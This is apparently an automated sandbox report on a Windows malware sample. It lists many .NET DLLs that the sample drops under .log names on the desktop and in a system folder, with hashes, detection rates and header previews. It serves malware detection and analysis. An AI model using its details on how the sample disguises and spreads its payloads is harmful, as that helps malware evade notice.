SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\LvueRqhB.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\NyMWIIsf.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OvoeeIHa.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OygMnZlw.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RoXDuWmq.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TcbLgjio.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TlyLQWBk.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UnQDGoMO.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WKOtegOK.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\WjYUBCcj.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\XgzcXCre.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YVXcjCmC.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aOmKVzXA.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ajmLslvZ.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\bXqTeyrX.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\dZcBAhwS.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\eFdBcvYu.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fTLbMRgr.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hGwsXsdP.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\hMaKxNSp.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hPTsHewM.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\iDXAsssK.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
